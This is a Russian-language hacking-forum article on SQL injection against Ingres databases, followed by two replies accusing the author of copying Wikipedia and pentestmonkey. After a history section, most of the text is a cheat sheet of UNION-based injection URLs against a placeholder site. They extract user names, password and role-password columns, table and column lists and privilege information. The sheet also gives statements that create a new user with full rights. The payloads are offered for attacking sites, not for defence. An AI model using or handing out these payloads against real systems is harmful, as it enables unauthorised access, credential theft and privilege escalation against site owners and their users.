Проведение SQL инъекций в Ingres Автор: ~!Dok_tOR!~ Дата: 21.09.2008 [Intro] Сегёдня реч пойдёт о том, как проводить инъекции в Ingres. Кстати очень занимательная субд как и (Sybase и другие её подобные) имеет свои особености по проведению sql-inj. Начнём пожалуй. [History] Ingres (произносится «ingress») — коммерчески поддерживаемая, открыто-исходная реляционная база данных. Сначала Ingres был создан как научно-исследовательский проект в Калифорнийском Университете (США), Berkeley, который начался в начале 70-х годов и закончился в начале 80-х годов. Оригинальный код, подобно другим проектам в Berkeley, был доступен за минимальную плату под версией лицензии BSD. Начиная с середины 80-х годов, Ingres породил множество коммерческих баз данных, включая Sybase, Microsoft SQL Server, NonStop SQL и множество других. Postgres (Post Ingres), проект, который начался в середине 80-х годов, позже развился в PostgreSQL. Ingres — один из наиболее влиятельных современных научно-исследовательских компьютерных проектов. В 1973 году, когда IBM приступил к System R, научно-исследовательская группа IBM выпустила документацию, описывающую систему, которую они формировали. Два ученых в Berkeley, Michael Stonebraker и Eugene Wong, заинтересовались результатами проекта и приняли решение начать своей собственной проект реляционной базы, основываясь на документации научно-исследовательского проекта.Этот проект использовался для исследования географической базы данных группой экономики в Berkeley и был назван «Ingres» («IN»teractive «G»raphics «RE»trieval «S»ystem - диалоговая графическая система поиска). В дальнейшем проектом заинтересовались три военных ведомства: Военно-воздушных Сил, Сухопутных, и Военно-морского флота. Таким образом, получив финансирование, Ingres был разработан в течение середины 1970 годов группой студентов и ученых из Berkeley. Ingres проходил через эволюцию сопровождающуюся доработками, как и System R, с ранним прототипом в 1974 году. Ingres был затем распространен среди небольшого количества пользователей, и участников проекта. Прототип многократно переписывался, чтобы включить накопленный опыт, замечания пользователей, и новые идеи. Ingres работал, подобно System R в системах «низкого уровня», а именно: Unix на DEC машинах. [Error Messages] Запрос: Code: http://site.com/hack.php?ingres=1 подставим в переменную "ingres" ковычку http://site.com/hack.php?ingres=1' если переменная не фильтруется и включены сообщения об ошибках то получем ошибку вида: Code: Warning: ingres_query() [function.ingres-query]: Ingres error : 2700 : line 1, Non-terminated string. in /usr/local/cbr/php/trends/st.php on line 761 Warning: ingres_query() [function.ingres-query]: Ingres SQLSTATE : 42000 in /usr/local/cbr/php/trends/st.php on line 761 [SQL Injection] Комментарии: -- и /**/ Столбцы: Code: http://site.com/hack.php?ingres=-1+union+select+null-- Текущий пользователь бд: Code: http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('session_user')-- http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('system_user')-- Версия бд: Code: http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('_version')-- Пользователи: Code: http://site.com/hack.php?ingres=-1+union+select+name+from+iiuser-- Пароли: Code: http://site.com/hack.php?ingres=-1+union+select+password+from+iiuser-- Колонки: Code: http://site.com/hack.php?ingres=-1+union+select+column_name,column_datatype,table_name,table_owner+from+iicolumns-- Таблички и их владельцы: Code: http://site.com/hack.php?ingres=-1+union+select+table_name,table_owner+from+iitables-- http://site.com/hack.php?ingres=-1+union+select+relid,relowner,relloc+from+iirelation-- http://site.com/hack.php?ingres=-1+union+select+relid,relowner,relloc+from+iirelation+where+relowner != '$ingres'-- Узнаём бд: Code: http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('database')-- Список привилегий: Code: http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('db_admin')-- http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('create_table')-- http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('create_procedure')-- http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('security_priv')-- http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('select_syscat')-- http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('db_privileges')-- http://site.com/hack.php?ingres=-1+union+select+dbmsinfo('current_priv_mask')-- Создаём нового пользователя в бд: Code: create user pm with password = 'password'; grant all on current installation to pm; Конкатенация строки: Code: select 'X' || 'X' Таблицы привелегий: Code: http://site.com/hack.php?ingres=-1+union+select+table_name,permit_user,permit_type+from+iiaccess-- Роли и пароли: Code: http://site.com/hack.php?ingres=-1+union+select+roleid,rolepass+from+iirole-- Список процедур в бд: Code: http://site.com/hack.php?ingres=-1+union+select+dbp_name,dbp_owner+from+iiprocedure-- Использовавшийся материал при написании статьи: Разрушая базы http://www.xakep.ru/magazine/xa/105/082/1.asp Ingres SQL Injection Cheat Sheet http://pentestmonkey.net/blog/ingres-sql-injection-cheat-sheet/ Офф.сайт www.ingres.com
имхо это вообще не статья, а сплошной копипаст с Википедии и pentestmonkey.net +1 пожалуй лишь эти фразы:
Статья полностью слизанна первый раз читал ее на енг в 2005-06, если покопаться в интете можно найти гараздо более интересые сполобы как запись в файл поднятие прав, и исполнение команд. ЗЫ ЗАЕБАЛИ ПИСАТЬ "Проведение Sql инъекций в" СВОЙ СЛОВАРНЫЙ ЗАПАС МАЛЕНЬКИЙ? Или ставьте копирайты епт.